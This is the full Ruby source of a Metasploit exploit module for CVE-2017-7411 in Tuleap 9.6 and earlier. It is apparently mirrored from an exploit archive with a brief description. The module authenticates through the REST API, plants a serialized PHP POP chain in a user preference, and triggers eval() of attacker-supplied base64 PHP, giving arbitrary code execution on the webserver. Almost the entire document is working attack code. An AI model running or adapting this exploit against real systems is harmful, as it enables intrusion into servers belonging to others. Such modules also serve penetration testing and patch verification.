Tuleap 9.6 Second-Order PHP Object Injection

This Metasploit module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which could be abused by authenticated users to execute arbitrary PHP code with the permissions of the webserver. The vulnerability exists because of the User::getRecentElements() method is using the unserialize() function with data that can be arbitrarily manipulated by a user through the REST API interface. The exploit's POP chain abuses the __toString() method from the Mustache class to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.


MD5 | bf85aad5adfa9342783213505d464d8c

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
'Description' => %q{
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
['CVE', '2017-7411']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Tuleap <= 9.6', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 23 2017'
))

register_options(
[
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
Opt::RPORT(443)
])
end

def setup_popchain(random_param)
print_status("Trying to login through the REST API...")

user = datastore['USERNAME']
pass = datastore['PASSWORD']

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
'ctype' => 'application/json',
'data' => {'username' => user, 'password' => pass}.to_json
})

unless res && (res.code == 201 || res.code == 200) && res.body
msg = "Login failed with #{user}:#{pass}"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end

body = JSON.parse(res.body)
uid = body['user_id']
token = body['token']

print_good("Login successful with #{user}:#{pass}")
print_status("Updating user preference with POP chain string...")

php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"

pop_chain = 'a:1:{i:0;a:1:{'
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
pop_chain << 'S:12:"\00*\00_template";'
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
pop_chain << 'S:11:"\00*\00_context";a:1:{'
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"

pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}

res = send_request_cgi({
'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
'ctype' => 'application/json',
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
'data' => pref.to_json
})

unless res && res.code == 200
msg = "Something went wrong"
print_error(msg) if @is_check
fail_with(Failure::UnexpectedReply, msg)
end
end

def do_login
print_status("Retrieving the CSRF token for login...")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'account/login.php')
})

if res && res.code == 200 && res.body && res.get_cookies
if res.body =~ /name="challenge" value="(\w+)">/
csrf_token = $1
print_good("CSRF token: #{csrf_token}")
else
print_warning("CSRF token not found. Trying to login without it...")
end
else
msg = "Failed to retrieve the login page"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end

user = datastore['USERNAME']
pass = datastore['PASSWORD']

res = send_request_cgi({
'method' => 'POST',
'cookie' => res.get_cookies,
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
})

unless res && res.code == 302
msg = "Login failed with #{user}:#{pass}"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end

print_good("Login successful with #{user}:#{pass}")
res.get_cookies
end

def exec_php(php_code)
random_param = rand_text_alpha(10)

setup_popchain(random_param)
session_cookies = do_login()

print_status("Triggering the POP chain...")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
'cookie' => session_cookies,
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
})

if res && res.code == 200 && res.body =~ /Exiting with Error/
msg = "No access to Artifact ID #{datastore['AID']}"
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
end

res
end

def check
@is_check = true
flag = rand_text_alpha(rand(10)+20)
res = exec_php("print '#{flag}';")

if res && res.code == 200 && res.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
elsif res && res.body =~ /Exiting with Error/
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit
@is_check = false
exec_php(payload.encoded)
end
end

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